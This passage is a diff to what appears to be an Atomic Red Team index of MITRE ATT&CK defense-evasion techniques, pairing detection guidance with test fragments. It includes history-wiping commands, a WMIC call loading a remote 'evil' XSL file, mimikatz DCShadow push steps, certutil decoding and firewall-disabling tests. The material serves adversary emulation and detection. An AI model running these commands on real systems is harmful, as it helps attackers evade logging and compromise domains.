can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history. - - Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity. - - Platforms: Linux, macOS - - Data Sources: Authentication logs, File monitoring - - Defense Bypassed: Log analysis, Host forensic analysis - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + description: macOS and Linux both keep track of the commands users type in their + terminal so that users can easily remember what they've done. These logs can + be accessed in a few different ways. While logged in, this command history + is tracked in a file pointed to by the environment variable HISTFILE. + When a user logs off a system, this information is flushed to a file in the + user's home directory called ~/.bash_history. The benefit of + this is that it allows users to go back to commands they've used before in + different sessions. Since everything typed on the command-line is saved, passwords + passed in on the command line are also saved. Adversaries can abuse this by + searching these files for cleartext passwords. Additionally, adversaries can + use a variety of methods to prevent their own commands from appear in these + logs such as unset HISTFILE, export HISTFILESIZE=0, + history -c, rm ~/.bash_history. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1146 + - external_id: T1146 + url: https://attack.mitre.org/techniques/T1146 source_name: mitre-attack - external_id: T1146 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - Authentication logs - File monitoring x_mitre_defense_bypassed: - Log analysis - Host forensic analysis + x_mitre_detection: User authentication, especially via remote terminal services + like SSH, without new entries in that user's ~/.bash_history + is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE + environment variables or the removal/clearing of the ~/.bash_history + file are indicators of suspicious activity. + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - User - id: attack-pattern--d3046a90-580c-4004-8208-66915bc29830 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1146 atomic_tests: - name: Clear Bash history (rm) @@ -4060,126 +4173,157 @@ defense-evasion: history -c '': technique: - name: Web Service + id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: XSL Script Processing description: |- - Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. + Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) - These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. - - Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. - - Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). - - Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) - Platforms: Linux, macOS, Windows + Command-line example: (Citation: Penetration Testing Lab MSXSL July 2017) - Data Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection + * msxsl.exe customers[.]xml script[.]xsl - Defense Bypassed: Binary Analysis, Log analysis, Firewall + Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. - Permissions Required: User + Command-line examples: (Citation: subTee WMIC XSL APR 2018) - Requires Network: Yes - - Contributors: Anastasios Pingios - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: command-and-control - - kill_chain_name: mitre-attack - phase_name: defense-evasion + * Local File: wmic process list /FORMAT:evil[.]xsl + * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” external_references: - - url: https://attack.mitre.org/wiki/Technique/T1102 + - external_id: T1220 + url: https://attack.mitre.org/techniques/T1220 source_name: mitre-attack - external_id: T1102 - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. - source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + - url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script + description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting + Using . Retrieved July 3, 2018. + source_name: Microsoft XSLT Script Mar 2017 + - url: https://www.microsoft.com/download/details.aspx?id=21714 + description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). + Retrieved July 3, 2018. + source_name: Microsoft msxsl.exe + - url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ + description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved + July 3, 2018. + source_name: Penetration Testing Lab MSXSL July 2017 + - url: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html + description: Smith, C. (2018, April 17). WMIC.EXE Whitelisting Bypass - Hacking + with Style, Stylesheets. Retrieved July 3, 2018. + source_name: subTee WMIC XSL APR 2018 + - url: https://twitter.com/dez_/status/986614411711442944 + description: Desimone, J. (2018, April 18). Status Update. Retrieved July + 3, 2018. + source_name: Twitter SquiblyTwo Detection APR 2018 + - url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ + description: Admin. (2018, March 2). Spear-phishing campaign leveraging on + MSXSL. Retrieved July 3, 2018. + source_name: Reaqta MSXSL Spearphishing MAR 2018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:13.915Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Casey Smith + - Praetorian x_mitre_data_sources: - - Host network interface - - Netflow/Enclave netflow - - Network protocol analysis - - Packet capture - - SSL/TLS inspection + - Process monitoring + - Process command-line parameters + - Process use of network + - DLL monitoring x_mitre_defense_bypassed: - - Binary Analysis - - Log analysis - - Firewall + - Anti-virus + - Application whitelisting + - Digital Certificate Validation + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: subTee WMIC XSL APR 2018) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. + + The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. x_mitre_permissions_required: - User - x_mitre_network_requirements: true - x_mitre_contributors: - - Anastasios Pingios - id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_remote_support: false + x_mitre_platforms: + - Windows + x_mitre_system_requirements: + - Microsoft Core XML Services (MSXML) or access to wmic.exe type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-10-17T00:14:20.652Z' atomic_tests: [] T1122: technique: + id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Component Object Model Hijacking - description: |- - The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. - - Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. - - Platforms: Windows - - Data Sources: Windows Registry, DLL monitoring, Loaded DLLs - - Defense Bypassed: Autoruns Analysis - - Permissions Required: User - - Contributors: ENDGAME - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence + description: 'The (Citation: Microsoft Component Object Model) (COM) is a system + within Windows to enable interaction between software components through the + operating system. (Citation: Microsoft Component Object Model) Adversaries + can use this system to insert malicious code that can be executed in place + of legitimate software through hijacking the COM references and relationships + as a means for persistence. Hijacking a COM object requires a change in the + Windows Registry to replace a reference to a legitimate system component which + may cause that component to not work when executed. When that system component + is executed through normal system operation the adversary''s code will be + executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to + hijack objects that are used frequently enough to maintain a consistent level + of persistence, but are unlikely to break noticeable functionality within + the system as to avoid system instability that could lead to detection.' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1122 + - external_id: T1122 + url: https://attack.mitre.org/techniques/T1122 source_name: mitre-attack - external_id: T1122 - - description: Microsoft. (n.d.). The Component Object Model. Retrieved August + - url: https://msdn.microsoft.com/library/ms694363.aspx + description: Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016. source_name: Microsoft Component Object Model - url: https://msdn.microsoft.com/library/ms694363.aspx - - description: 'G DATA. (2014, October). COM Object hijacking: the discreet + - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence + description: 'G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.' source_name: GDATA COM Hijacking - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - - description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting + - url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com + description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.' source_name: Endgame COM Hijacking - url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:33.979Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - ENDGAME x_mitre_data_sources: - Windows Registry - DLL monitoring - Loaded DLLs x_mitre_defense_bypassed: - Autoruns Analysis + x_mitre_detection: 'There are opportunities to detect COM hijacking by searching + for Registry references that have been replaced and through Registry operations + replacing know binary paths with unknown paths. Even though some third party + applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ + may be anomalous and should be investigated since user objects will be loaded + prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\. + (Citation: Endgame COM Hijacking) Registry entries for existing COM objects + may change infrequently. When an entry with a known good path and binary is + replaced or changed to an unusual value to point to an unknown binary in a + new location, then it may indicate suspicious behavior and should be investigated. + Likewise, if software DLL loads are collected and analyzed, any unusual DLL + load that can be correlated with a COM object Registry modification may indicate + COM hijacking has been performed.' x_mitre_permissions_required: - User - x_mitre_contributors: - - ENDGAME - id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:33.979Z' identifier: T1122 atomic_tests: - name: Component Object Model Hijacking @@ -4196,67 +4340,47 @@ defense-evasion: reg import ..\src\COMHijackCleanup.reg T1207: technique: + id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: DCShadow description: |- DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) - This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) - - Detection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) - - Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) - - Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018) - - Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. - - Platforms: Windows - - Data Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture - - Defense Bypassed: Log analysis - - Permissions Required: Administrator - - Contributors: Vincent Le Toux - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1207 + - external_id: T1207 + url: https://attack.mitre.org/techniques/T1207 source_name: mitre-attack - external_id: T1207 - - description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, + - url: https://www.dcshadow.com/ + description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018. source_name: DCShadow Blog - url: https://www.dcshadow.com/ - description: 'Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.' source_name: BlueHat DCShadow Jan 2018 - - description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz + - url: https://adsecurity.org/?page_id=1821 + description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015. source_name: Adsecurity Mimikatz Guide - url: https://adsecurity.org/?page%20id=1821 - - description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March + - url: https://github.com/shellster/DCSYNCMonitor + description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018. source_name: GitHub DCSYNCMonitor - url: https://github.com/shellster/DCSYNCMonitor - - description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control. - Retrieved March 30, 2018. - source_name: Microsoft DirSync - url: https://msdn.microsoft.com/en-us/library/ms677626.aspx - - description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?. + - url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html + description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018. source_name: ADDSecurity DCShadow Feb 2018 - url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html + - url: https://msdn.microsoft.com/en-us/library/ms677626.aspx + description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control. + Retrieved March 30, 2018. + source_name: Microsoft DirSync object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Vincent Le Toux x_mitre_data_sources: - API monitoring - Authentication logs @@ -4264,13 +4388,24 @@ defense-evasion: - Packet capture x_mitre_defense_bypassed: - Log analysis + x_mitre_detection: |- + Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) + + Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) + + Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018) + + Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. x_mitre_permissions_required: - Administrator - x_mitre_contributors: - - Vincent Le Toux - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1207 atomic_tests: - name: DCShadow - Mimikatz @@ -4290,72 +4425,63 @@ defense-evasion: 4. lsadump::dcshadow /push T1140: technique: + id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Deobfuscate/Decode Files or Information description: |- - Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system. + Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system. - One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) + One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) - Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. - - Detection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil. - - Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. - - Platforms: Windows - - Data Sources: File monitoring, Process Monitoring, Process command-line parameters - - Defense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system - - Permissions Required: User - - Contributors: Matthew Demaske, Adaptforward, Red Canary - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1140 + - external_id: T1140 + url: https://attack.mitre.org/techniques/T1140 source_name: mitre-attack - external_id: T1140 - - description: Malwarebytes Labs. (2017, March 27). New targeted attack against - Saudi Arabia Government. Retrieved July 3, 2017. - source_name: Malwarebytes Targeted Attack against Saudi Arabia - url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ - - description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved + - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ + description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. source_name: Carbon Black Obfuscation Sept 2016 - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ - - description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election + - url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ + description: Malwarebytes Labs. (2017, March 27). New targeted attack against + Saudi Arabia Government. Retrieved July 3, 2017. + source_name: Malwarebytes Targeted Attack against Saudi Arabia + - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ + description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.' source_name: Volexity PowerDuke November 2016 - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Matthew Demaske, Adaptforward + - Red Canary x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters x_mitre_defense_bypassed: - Anti-virus - Host intrusion prevention systems - Signature-based detection - Network intrusion detection system + x_mitre_detection: |- + Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). + + Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. x_mitre_permissions_required: - User - x_mitre_contributors: - - Matthew Demaske, Adaptforward - - Red Canary - id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1140 atomic_tests: - name: Deobfuscate/Decode Files Or Information @@ -4393,48 +4519,51 @@ defense-evasion: cmd.exe /c %temp%tcm.tmp -decode #{executable} T1089: technique: + id: attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Disabling Security Tools - description: |- - Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting. - - Detection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious. - - Platforms: Linux, macOS, Windows - - Data Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters - - Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + description: Adversaries may disable security tools to avoid possible detection + of their tools and activities. This can take the form of killing security + software or event logging processes, deleting Registry keys so that tools + do not start at run time, or other methods to interfere with security scanning + or event reporting. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1089 + - external_id: T1089 + url: https://attack.mitre.org/techniques/T1089 source_name: mitre-attack - external_id: T1089 + - external_id: CAPEC-578 + url: https://capec.mitre.org/data/definitions/578.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:07.958Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - - Anti-virus - File monitoring - Services - Windows Registry - Process command-line parameters - x_mitre_defense_bypassed: - Anti-virus + x_mitre_defense_bypassed: - File monitoring - Host intrusion prevention systems - Signature-based detection - Log analysis - id: attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044 - modified: '2018-04-18T17:59:24.739Z' + - Anti-virus + x_mitre_detection: Monitor processes and command-line arguments to see if security + tools are killed or stop running. Monitor Registry edits for modifications + to services and startup programs that correspond to security tools. Lack of + log or event file reporting may be suspicious. + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:07.958Z' identifier: T1089 atomic_tests: - name: Disable iptables firewall @@ -4569,55 +4698,54 @@ defense-evasion: ' T1107: technique: + id: attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59 + created_by_ref: 